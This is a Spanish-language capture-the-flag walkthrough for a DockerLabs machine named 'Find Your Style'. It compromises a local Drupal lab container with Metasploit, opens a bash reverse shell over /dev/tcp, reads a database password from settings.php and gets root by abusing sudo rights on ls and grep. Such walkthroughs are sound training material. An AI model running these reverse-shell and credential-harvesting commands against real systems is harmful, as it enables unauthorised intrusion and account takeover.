Find Your Style



🚀Preparación del Entorno

El proceso para desplegar las máquinas de DockerLabs es bastante sencillo. Sigue estos pasos:

📌 Paso 1: Descargar el archivo CTF

Descarga el archivo ZIP del CTF que deseas utilizar.

📌 Paso 2: Descomprimir el archivo

Ejecuta el siguiente comando en la terminal:

unzip [nombre].zip

📂 Esto extraerá los siguientes archivos:

📌 Paso 3: Ejecutar el script de despliegue

Para iniciar el despliegue de la máquina virtual, ejecuta:

sudo bash auto_deploy.sh [nombre].tar

🕐 Después de unos minutos, el script te proporcionará la IP de la máquina lista para atacar.


🎯Resolución

🔍 Reconocimiento

Comenzamos determinando si el objetivo es Windows o Linux enviando paquetes ICMP:

ping -c 3 172.17.0.2

Pasted image 20250630185630.png

📌 El valor TTL=64 → Linux

Comenzamos realizando un escaneo con Nmap para identificar los puertos abiertos y los servicios disponibles en el objetivo

nmap -sVC -p- -n --min-rate 5000 172.17.0.2

🔍 Servicios detectados:

Exploramos en navegador:
🔗 http://172.17.0.2
{0511AC7F-8AB0-4515-A438-D2C74B6E79EE}.png


🕵️Análisis de vulnerabilidades

Entramos a la consola de Metasxploit

msfconsole

Pasted image 20250722193706.png


🎯 Explotación

Seleccionamos el primero (posición 0)

use 0
show options

{D8ACA687-1DA3-40DB-AC17-E297AB3924D5}.png
Podemos identificar cuáles campos son obligatorios; en este caso, solo necesitamos configurar RHOSTS, que corresponde a la dirección de la máquina víctima:

set RHOSTS 172.17.0.2 

para lanzar el exploit

run

✅ ¡Explotado con éxito!
{1F499FE5-623F-4423-ACF4-4FE44E7C4D49}.png
Ahora sacamos Reverse Shell para trabajar más cómodos. Vamos a ReverseShells.com, ponemos:

En nuestra máquina escuchamos:

sudo nc -nlvp 4443

Y ejecutamos en la víctima:

shell
bash -c "bash -i >& /dev/tcp/172.17.0.1/4443 0>&1"

Para mejorar el shell

script /dev/null -c bash
# Suspender la shell actual:
ctrl+z
# Restauramos la conexión:
stty raw -echo; fg
# Reiniciamos la terminal y configuramos la compatibilidad con xterm:
reset xterm
export TERM=xterm
export SHELL=bash

Si intentamos usar editores como nano, vi o cat, la terminal puede mostrar limitaciones en el tamaño de la pantalla. Para solucionar esto, ajustamos el tamaño de la terminal con los siguientes comandos:

# Abrimos una nueva terminal en el host o máquina atacante y ejecutamos:
stty size
# Ajustamos las filas y columnas de la terminal para que se vean correctamente:
stty rows 52 columns 115

{490494FF-30F2-4403-92AC-90A38EB1524F}.png


📈 Escalada de privilegios

🔎 Buscamos usuarios en /home → encontramos a ballenita.

Como es Drupal, vamos al archivo de configuración que suele tener credenciales:

cat /var/www/html/sites/default/settings.php | grep "ballenita"

🎯 ¡Contraseña encontrada!: ballenitafeliz

su ballenita

Ahora somos ballenita
{1B9EF515-BA67-491A-A8C7-7AD237EE58C6}.png
🧠 Verificamos qué puede hacer con sudo:

sudo -l

Pasted image 20250722200839.png
Contamos con permisos para ejecutar los comandos ls y grep. Aprovechamos esta oportunidad para explorar el directorio personal de root y verificar si contiene algún archivo relevante, encontrando finalmente un archivo de texto.

sudo /bin/ls /root

{3B4D74CC-70B6-4EA3-B6A5-6139EB944201}.png
📄 Hay un archivo: secretitomaximo.txt

Lo leemos con:

sudo /bin/grep "" /root/secretitomaximo.txt

Parece la contraseña de root
{14DF7224-1379-45A7-B21D-6DB7241C71BE}.png
👀 ¡Contiene la contraseña de root!

¡Ya somos root!

{4CD7DD9F-F7BE-44A2-829E-0599C9109084}.png